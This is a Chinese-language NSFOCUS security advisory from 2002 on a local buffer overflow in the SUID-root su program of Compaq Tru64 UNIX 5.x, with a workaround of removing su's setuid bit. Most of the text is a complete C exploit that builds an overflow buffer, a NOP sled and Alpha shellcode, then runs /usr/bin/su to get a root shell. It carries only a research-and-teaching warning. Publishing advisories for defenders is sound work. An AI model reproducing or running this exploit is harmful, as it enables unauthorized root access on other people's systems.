首页 -> 安全研究
安全研究
绿盟月刊
绿盟安全月刊->第34期->最新漏洞
日期:2002-08-16
发布日期:2002-07-19
更新日期:2002-07-26
受影响系统:
Compaq Tru64 5.1a
Compaq Tru64 5.1
Compaq Tru64 5.0a
Compaq Tru64 5.0
描述:
------------------------------------------------------------------
BUGTRAQ ID: 5272
Tru64是一款由HP公司开发的UNIX操作系统。
Tru64中的su程序在处理用户提交的命令行参数时缺少正确的检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。
Tru64中的su程序默认以SUID ROOT属性安装,由于对用户提交的命令行参数缺少正确检查,攻击者提交超长字符串作为命令行参数可导致su处理时产生缓冲区溢出,精心构建提交的字符串数据可以使攻击者以root用户的权限在系统上执行任意指令。
<*来源:phased (phased@mail.ru)
链接:http://archives.neohapsis.com/archives/bugtraq/2002-07/0214.html
*>
测试方法:
----------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
phased(phased@mail.ru) 提供了如下测试程序:
/*
/bin/su tru64 5.1
works with non-exec stack enabled
stripey is the man
developed at http://www.snosoft.com in the cerebrum labs
phased
phased at mail.ru
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=
"\x30\x15\xd9\x43" /* subq $30,200,$16 */
"\x11\x74\xf0\x47" /* bis $31,0x83,$17 */
"\x12\x14\x02\x42" /* addq $16,16,$18 */
"\xfc\xff\x32\xb2" /* stl $17,-4($18) */
"\x12\x94\x09\x42" /* addq $16,76,$18 */
"\xfc\xff\x32\xb2" /* stl $17,-4($18) */
"\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */
"\x1f\x04\x31\x22" /* lda $17,0x041f($17) */
"\xfc\xff\x30\xb2" /* stl $17,-4($16) */
"\xf7\xff\x1f\xd2" /* bsr $16,-32 */
"\x10\x04\xff\x47" /* clr $16 */
"\x11\x14\xe3\x43" /* addq $31,24,$17 */
"\x20\x35\x20\x42" /* subq $17,1,$0 */
"\xff\xff\xff\xff" /* callsys ( disguised ) */
"\x30\x15\xd9\x43" /* subq $30,200,$16 */
"\x31\x15\xd8\x43" /* subq $30,192,$17 */
"\x12\x04\xff\x47" /* clr $18 */
"\x40\xff\x1e\xb6" /* stq $16,-192($30) */
"\x48\xff\xfe\xb7" /* stq $31,-184($30) */
"\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */
"\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */
"\x13\x05\xf3\x47" /* ornot $31,$19,$19 */
"\x3c\xff\x7e\xb2" /* stl $19,-196($30) */
"\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */
"\x2f\x62\x73\x22" /* lda $19,0x622f($19) */
"\x38\xff\x7e\xb2" /* stl $19,-200($30) */
"\x13\x94\xe7\x43" /* addq $31,60,$19 */
"\x20\x35\x60\x42" /* subq $19,1,$0 */
"\xff\xff\xff\xff"; /* callsys ( disguised ) */
/* shellcode by Taeho Oh */
main(int argc, char *argv[]) {
int i, j;
char buffer[8239];
char payload[15200];
char nop[] = "\x1f\x04\xff\x47";
bzero(&buffer, 8239);
bzero(&payload, 15200);
for (i=0;i<8233;i++)
buffer[i] = 0x41;
/* 0x140010401 */
buffer[i++] = 0x01;
buffer[i++] = 0x04;
buffer[i++] = 0x01;
buffer[i++] = 0x40;
buffer[i++] = 0x01;
for (i=0;i<15000;) {
for(j=0;j<4;j++) {
payload[i++] = nop[j];
}
}
for (i=i,j=0;j<sizeof(shellcode);i++,j++)
payload[i] = shellcode[j];
printf("/bin/su by phased\n");
printf("payload %db\n", strlen(payload));
printf("buffer %db\n", strlen(buffer));
execl("/usr/bin/su", "su", buffer, payload, 0);
}
建议:
----------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 使用chmod u-s命令暂时去掉su的S位
厂商补丁:
Compaq
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.tru64unix.compaq.com/unix/security-download.html
版权所有,未经许可,不得转载